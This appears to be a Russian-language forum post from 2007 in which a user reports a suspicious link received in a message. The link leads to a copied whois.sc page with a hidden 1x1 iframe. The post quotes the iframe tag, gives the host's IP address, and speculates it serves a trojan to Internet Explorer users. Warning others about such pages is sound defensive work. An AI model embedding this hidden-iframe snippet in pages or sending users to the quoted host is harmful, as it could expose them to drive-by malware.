A d u l t
В асю стукнулся чел (номер *********). В мессаге была ссылка:
81.95.145.234/index.html
Все бы ничего, только по этому адресу страничка, стянутая с
http://www.whois.sc, а на верху iframe:
Цитата:
<iframe src="http://81.95.145.234/sp_pack/counter/index.php" width=1 height=1></iframe>
По этому адресу на страничке пусто. IP-шник принадлежит Российской сетке.
И туда и сюда заходил под линуховой Оперой с отрубленой явой.
Возможно, что там стоит скрипт и проверяет, если ходят с MSIE, то подсовывает трояна. Если нет, то пусто.
Если у кого такое было - отпишитесь плиз.
Последний раз редактировалось: A d u l t (01/03/07 в 20:17), всего редактировалось 1 раз